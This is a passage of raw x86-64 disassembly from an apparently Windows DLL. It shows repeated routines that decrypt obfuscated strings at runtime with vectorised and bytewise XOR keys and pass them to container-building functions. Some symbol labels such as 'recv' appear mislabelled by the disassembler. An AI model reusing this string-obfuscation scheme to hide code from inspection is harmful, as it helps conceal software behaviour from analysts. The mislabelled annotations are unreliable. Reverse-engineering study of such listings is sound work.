imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800db980
lea rdx, [rbp + 0x5d8]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0x1250]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x8d8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efde4]
lea rcx, [rbp + 0x8d8]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RKIeSYRK_1D]
movsd qword [rbp + 0x618], xmm0
mov edx, dword [0x1801b3848]
mov dword [rbp + 0x620], edx
movzx ecx, word [0x1801b384c]
mov word [rbp + 0x624], cx
cmp byte [0x1801b384d], 0
je 0x1800dbbf0
mov r8d, edi
cmp r14d, 2
jl 0x1800dbba5
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.RKIeSYRK_1D]
xorps xmm1, xmm0
movd dword [rbp + 0x618], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x61c]
xorps xmm2, xmm1
movd dword [rbp + 0x61c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x620], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x618]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800dbbc0
lea rdx, [rbp + 0x618]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0x1270]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x8e8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efde5]
lea rcx, [rbp + 0x8e8]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RKIeZNPQM__0C]
movsd qword [rbp + 0x5e8], xmm0
mov edx, dword [0x1801b3858]
mov dword [rbp + 0x5f0], edx
movzx ecx, byte [0x1801b385c]
mov byte [rbp + 0x5f4], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800dbdd7
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.RKIeZNPQM__0C]
xorps xmm1, xmm0
movd dword [rbp + 0x5e8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5ec]
xorps xmm2, xmm1
movd dword [rbp + 0x5ec], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x5f0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x5e8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800dbdf0
lea rdx, [rbp + 0x5e8]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xd90]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x828]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efde8]
lea rcx, [rbp + 0x828]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RKIeWUS_L_]
movsd qword [rbp + 0x448], xmm0
movzx ecx, word [0x1801b3868]
mov word [rbp + 0x450], cx
cmp byte [0x1801b3869], 0
je 0x1800dbefe
mov byte [rbp + 0x448], 0x65
xor byte [rbp + 0x449], 0x38
xor byte [rbp + 0x44a], 0x39
xor byte [rbp + 0x44b], 0x3a
xor byte [rbp + 0x44c], 0x3b
xor byte [rbp + 0x44d], 0x3c
xor byte [rbp + 0x44e], 0x3d
xor byte [rbp + 0x44f], 0x3e
xor byte [rbp + 0x450], 0x3f
xor byte [rbp + 0x451], 0x40
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0x1110]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x8f8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efde7]
lea rcx, [rbp + 0x8f8]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RKIeXSOPZ2__D]
movsd qword [rbp + 0x628], xmm0
mov edx, dword [0x1801b3878]
mov dword [rbp + 0x630], edx
movzx ecx, word [0x1801b387c]
mov word [rbp + 0x634], cx
cmp byte [0x1801b387d], 0
je 0x1800dc130
mov r8d, edi
cmp r14d, 2
jl 0x1800dc0f3
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.RKIeXSOPZ2__D]
xorps xmm1, xmm0
movd dword [rbp + 0x628], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x62c]
xorps xmm2, xmm1
movd dword [rbp + 0x62c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x630], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x628]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800dc100
lea rdx, [rbp + 0x628]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0x1090]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x908]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efbf2]
lea rcx, [rbp + 0x908]
call fcn.1800a0600
mov rbx, rax
movups xmm2, xmmword [0x1801b3880]
movups xmmword [rbp + 0xb18], xmm2
movzx ecx, word [0x1801b3890]
mov word [rbp + 0xb28], cx
movzx ecx, byte [0x1801b3892]
mov byte [rbp + 0xb2a], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800dc385
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb18], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb1c]
xorps xmm2, xmm1
movd dword [rbp + 0xb1c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb20]
xorps xmm2, xmm1
movd dword [rbp + 0xb20], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb24]
xorps xmm2, xmm1
movd dword [rbp + 0xb24], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xb18]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800dc3a0
lea rdx, [rbp + 0xb18]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0x1010]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x918]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efbf3]
lea rcx, [rbp + 0x918]
call fcn.1800a0600
mov rbx, rax
movups xmm2, xmmword [str.VTSUcXMO]
movups xmmword [rbp + 0x928], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x1800dc64b
mov r8d, edi
cmp r14d, 2
jl 0x1800dc61b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x928], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x92c]
xorps xmm2, xmm1
movd dword [rbp + 0x92c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x930]
xorps xmm2, xmm1
movd dword [rbp + 0x930], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x934]
xorps xmm2, xmm1
movd dword [rbp + 0x934], xmm2
jmp 0x1800dc64b
lea r9, [rbp + 0x928]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1800dc622
lea rdx, [rbp + 0x928]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xf90]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x938]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efbf4]
lea rcx, [rbp + 0x938]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [0x1801b38a8]
movsd qword [rbp + 0x478], xmm0
movzx edx, word [0x1801b38b0]
mov word [rbp + 0x480], dx
movzx ecx, byte [0x1801b38b2]
mov byte [rbp + 0x478], 0x61
xor byte [rbp + 0x479], 0x38
xor byte [rbp + 0x47a], 0x39
xor byte [rbp + 0x47b], 0x3a
xor byte [rbp + 0x47c], 0x3b
xor byte [rbp + 0x47d], 0x3c
xor byte [rbp + 0x47e], 0x3d
xor byte [rbp + 0x47f], 0x3e
xor dl, 0x3f
mov byte [rbp + 0x480], dl
xor byte [rbp + 0x481], 0x40
xor cl, 0x41
mov byte [rbp + 0x482], cl
lea rdx, [rbp + 0x478]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xef0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x948]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efdde]
lea rcx, [rbp + 0x948]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.CYK_HbPO2B]
movsd qword [rbp + 0x518], xmm0
mov ecx, dword [0x1801b38c0]
mov dword [rbp + 0x520], ecx
cmp byte [0x1801b38c3], 0
je 0x1800dc949
mov r8d, edi
cmp r14d, 2
jl 0x1800dc915
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.CYK_HbPO2B]
xorps xmm1, xmm0
movd dword [rbp + 0x518], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x51c]
xorps xmm2, xmm1
movd dword [rbp + 0x51c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x520], xmm2
jmp 0x1800dc949
lea r9, [rbp + 0x518]
nop dword [rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800dc920
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xeb0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x958]
mov qword [rsp + 0x50], rax
lea rdx, [0x1801e8e88]
lea rcx, [rbp + 0x958]
call fcn.1800a0560
mov rbx, rax
movsd xmm0, qword [str.RKIe_UNJ._C]
movsd qword [rbp + 0x5f8], xmm0
mov edx, dword [0x1801b38d0]
mov dword [rbp + 0x600], edx
movzx ecx, byte [0x1801b38d4]
mov byte [rbp + 0x604], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800dcb30
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.RKIe_UNJ._C]
xorps xmm1, xmm0
movd dword [rbp + 0x5f8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5fc]
xorps xmm2, xmm1
movd dword [rbp + 0x5fc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x600], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x5f8]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800dcb40
lea rdx, [rbp + 0x5f8]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xe90]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x968]
mov qword [rsp + 0x50], rax
lea rdx, [0x1801e8e82]
lea rcx, [rbp + 0x968]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.C_ANdSHJS__C]
movsd qword [rbp + 0x568], xmm0
mov edx, dword [0x1801b38e0]
mov dword [rbp + 0x570], edx
movzx ecx, byte [0x1801b38e4]
mov byte [rbp + 0x574], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800dcd57
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.C_ANdSHJS__C]
xorps xmm1, xmm0
movd dword [rbp + 0x568], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x56c]
xorps xmm2, xmm1
movd dword [rbp + 0x56c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x570], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x568]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800dcd70
lea rdx, [rbp + 0x568]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xe30]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x978]
